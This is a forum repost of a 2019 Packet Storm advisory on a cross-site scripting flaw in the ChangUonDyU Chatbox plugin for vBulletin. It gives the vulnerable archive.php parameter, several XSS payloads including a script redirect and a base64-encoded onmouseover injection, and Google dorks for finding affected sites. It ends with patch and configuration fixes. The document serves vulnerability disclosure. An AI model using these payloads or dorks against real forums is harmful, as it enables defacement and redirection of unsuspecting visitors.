vBulletin 4.2.0 ChangUonDyU Chatbox 3.6.0 Cross Site Scripting

#224
Topic created · 1 Posts · 0 Views
  • vBulletin version 4.2.0 with ChangUonDyU Chatbox plugin version 3.6.0 suffers from cross site scripting vulnerabilities.
    MD5 | 8625fc8b7cf34354884954cb504c1c04
    Download

    ##########################################################################  
    # Exploit Title : vBulletin 4.2.0 ChangUonDyU Chatbox Plugins 3.6.0 Cross Site Scripting  
    # Author [ Discovered By ] : KingSkrupellos  
    # Team : Cyberizm Digital Security Army  
    # Date : 26/02/2019  
    # Vendor Homepages : vbulletin.com ~ vietvbb.vn  
    # Software Download Link : vietvbb.vn/up/showthread.php?t=40346&page=3  
    # Software Information Link : vbulletin-mods.com/forum/showthread.php?t=2775  
    vbulletin-mods.com/forum/showthread.php?t=2767&s=1d1c28bb9eae0a6f559e2dcd3efc14d5  
    # Software Affected Versions : VBulletin 3.8.3 ~ 3.8.7 ~ 4.x.x  - 4.1.10 ~ 4.2.0   
    ChangUonDyU Chatbox 3.6.0 and all previous versions  
    # Tested On : Windows and Linux  
    # Category : WebApps  
    # Exploit Risk : Medium  
    # Vulnerability Type :   
    CWE-79 [ Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') ]  
    CWE-83 [ Improper Neutralization of Script in Attributes in a Web Page ]  
    CWE-87 [ Improper Neutralization of Alternate XSS Syntax ]  
    # PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
    # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
    # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
    ####################################################################  
    # Description about Software :  
    ***************************  
    ChangUonDyU is a chatbox plugin for VBulletin.  
    ####################################################################  
    # Impact :  
    ***********  
    * The software does not neutralize or incorrectly neutralizes "javascript:" or other URIs from   
    dangerous attributes within tags, such as onmouseover, onload, onerror, or style.  
    * The software does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.  
    * The software does not neutralize or incorrectly neutralizes user-controllable input before   
    it is placed in output that is used as a web page that is served to other users.  
    Cross-site scripting (XSS) vulnerabilities occur when:  
    ***********************************************  
    1. Untrusted data enters a web application, typically from a web request.  
    2. The web application dynamically generates a web page that contains this untrusted data.  
    3. During page generation, the application does not prevent the data from containing content that is   
    executable by a web browser, such as JavaScript, HTML tags,   
    HTML attributes, mouse events, Flash, ActiveX, etc.  
    4. A victim visits the generated web page through a web browser, which contains   
    malicious script that was injected using the untrusted data.  
    5. Since the script comes from a web page that was sent by the web server, the victim's   
    web browser executes the malicious script in the context of the web server's domain.  
    6. This effectively violates the intention of the web browser's same-origin policy, which   
    states that scripts in one domain should not be able to access resources or run code in a different domain.  
    There are three main kinds of XSS:  
    ******************************  
    Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and   
    reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes   
    a victim to supply dangerous content to a vulnerable web application, which is then reflected   
    back to the victim and executed by the web browser. The most common mechanism for   
    delivering malicious content is to include it as a parameter in a URL that is posted publicly  
    or e-mailed directly to the victim. URLs constructed in this manner constitute the core of   
    many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers   
    to a vulnerable site. After the site reflects the attacker's content back to the victim,   
    the content is executed by the victim's browser.  
    Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database,   
    message forum, visitor log, or other trusted data store. At a later time, the dangerous   
    data is subsequently read back into the application and included in dynamic content.   
    From an attacker's perspective, the optimal place to inject malicious content is in an area   
    that is displayed to either many users or particularly interesting users.   
    Interesting users typically have elevated privileges in the application or interact with   
    sensitive data that is valuable to the attacker. If one of these users executes malicious content,   
    the attacker may be able to perform privileged operations on behalf of the user or gain access  
    to sensitive data belonging to the user. For example, the attacker might inject XSS into  
    a log message, which might not be handled properly when an administrator views the logs.  
    Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of   
    XSS into the page; in the other types, the server performs the injection. DOM-based XSS  
    generally involves server-controlled, trusted script that is sent to the client, such as  
    Javascript that performs sanity checks on a form before the user submits it.   
    If the server-supplied script processes user-supplied data and then injects it   
    back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.  
    ####################################################################  
    Cross Site Scripting XSS Exploit :  
    *****************************  
    [VULNERABLESITE]/chatbox/archive.php?page=[XSS]  
    # Example XSS Payload :  
    ************************  
    /forum/chatbox/archive.php?page=[XSS Vulnerability]  
    <marquee>XSS-Vulnerability-Discovered-By-KingSkrupellos</marquee>  
    <script>location.href="https://www.[YOUR-DESIRED-DOMAIN-ADDRESS].gov/"</script>  
    Example Dangerous JavaScript Code :  
    ********************************  
    ' size=99 onmouseover=document.write(atob('aHR0cHM6Ly93d3cuY3liZXJpem0ub3JnLw====')); a='asd  
    Proof of Concept :  
    *****************  
    Create a new thread with the following payload as the title  <svg onload=alert('XSS')>  
    The alert will appear on the index page  
    # Index Page :  
    ************  
    /forum/chatbox/index.php  
    Note : Here, you can read all chats conversations without being a member.  
    Encode and Decode URL Links:  
    ****************************  
    base64encode.org  
    base64decode.org  
    # Example Google Dorks :   
    ***********************  
    intext:Powered by vBulletin(r) Version 4.2.0   
    intext:Copyright (c) 2019 vBulletin Solutions, Inc. All rights reserved.  
    [VBB3] ChangUonDyU - Extra File Chatbox 3.6.0 ?=>  
    ***********************************************  
    Installation =>   
    - Find a host to put chatbox upload folder chatbox on it (chmod 777 all the txt file)  
    - Import Product: ChanguonDyU - Extra File Chatbox 3.0.xml  
    - Revert (Restore) the template of the old version (if installed and edit)  
    - Edit template FORUMHOME, search  
    $ Navbar  
    $ Changfcb  
    It is located chatbox on the homepage, but if want chatbox on   
    every page, insert $changfcb at the end of the template navbar  
    - At vBulletin Options> ChangUonDyU - Extra File Chatbox 3.0  
    Change the directory path to the chatbox  
    Change the path to the file smilies  
    Key to the chatbox  
    Edit the config.php file  
    + Find $ config ['forumlink'] and change your forum domain   
    (If you use multiple domain forum enter multiple domains, each separated domain, eg  
    "Quote" $ config ['forumlink'] = 'EXAMPLE.gov, EXAMPLEDOMAIN1.gov/forum'  
    + $ Config ['password_tools']: Password access tools.php file  
    + $ Config ['chatboxkey']: Enter the same key as entered in vbulletin options  
    ####################################################################  
    Solution 1 :  Install latest version 6.0.0 or 6.0.1. For prevent XSS Cross Site Scripting Vulnerability.  
    ************  
    Prevent Scripting Injection => Edit this File =>   
    if ($_GET['page'])  
    {  
    $page = htmlentities(strip_tags($_GET['page']));  
    }  
    else  
    {  
    $page = 1;  
    }  
    Note : But 6.0.1 has SQL Injection Vulnerability   
    Here is the Details [ Published Date 2012-11-02 ] => Reference Link => exploit-db.com/exploits/22429  
    6.0.1  
    Add Latest Comments (with mod ChangUonDyU - Comment for Each Post)  
    keyword: latestcomment  
    6.0.0  
    Here is a fairly complete version  
    What's new?  
    - Secure more  
    - Beautiful presentation and standard  
    - Add 1 statistics such as:  
    Most topics are answered (Most replied Thread also called Hotest Threads)  
    Members sent more topics (Top Thread Starters)  
    Members were recently (Latest Banned Users)  
    Polls latest (Newest)  
    Voted the most vote (Most Voted Polls)  
    ####################################################################  
    # Solution 2 to Fix this Bug in Details :  
    **********************************  
    This Vulnerability Fix is like ChangUonDyU Chatbox Plugins 3.6.0 =>   
    Reference Link :  
    packetstormsecurity.com/files/151849/MyBB-1.6.x-ChangUonDyU-Chatbox-3.6.0-Cross-Site-Scripting.html  
    Now - Find chatbox folder/config.php - Find the codes below  
    $config['forumlink'] = 'domain1.net/forum,domain2.com'; //Forum url   
    Here is the link which domain should be run. We will edit this file like this.  
    For example ; We can enter forum.[VULNERABLESITE].gov and [VULNERABLESITE].gov/FORUM  
    $config['forumlink'] = '[VULNERABLESITE].com/forum,forum.[VULNERABLESITE].com'; //Forum url   
    If the domain is unique - so we change this file like this ;   
    $config['forumlink'] = '[VULNERABLESITE].com'; //Forum url   
    Then   
    $config['chatboxkey'] = 'your_chatbox_key'; // ChatboxKey   
    Find this chatbox key. It should be longer. Nobody should guess it. Note this key somewhere. Then find this codes.  
    $config['check_domain_reffer'] = false; // Check reffer url  
    $config['check_chatbox_key'] = false; // check ChatboxKey   
    Change with this codes.  
    $config['check_domain_reffer'] = true; // Check reffer url  
    $config['check_chatbox_key'] = true; // check ChatboxKey   
    Then save the file.   
    Then  => Administration Panel => Settings => Forum Settings => ChangUonDyU Chatbox Extensions => Enter here your [ your_chatbox_key ] and save it.  
    If you want to change [ Access Denied (Invaild ChatboxKey or URL) ] keywords. Go to the config.php and save this file however you wish.  
    $phrase['accessdenied'] = "<b>Access Denied (Invaild ChatboxKey or URL)</b>";   
    That's all. The Bug has been fixed.   
    ####################################################################  
    # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
    ####################################################################  
    

    Source: packetstormsecurity.com

Log in to reply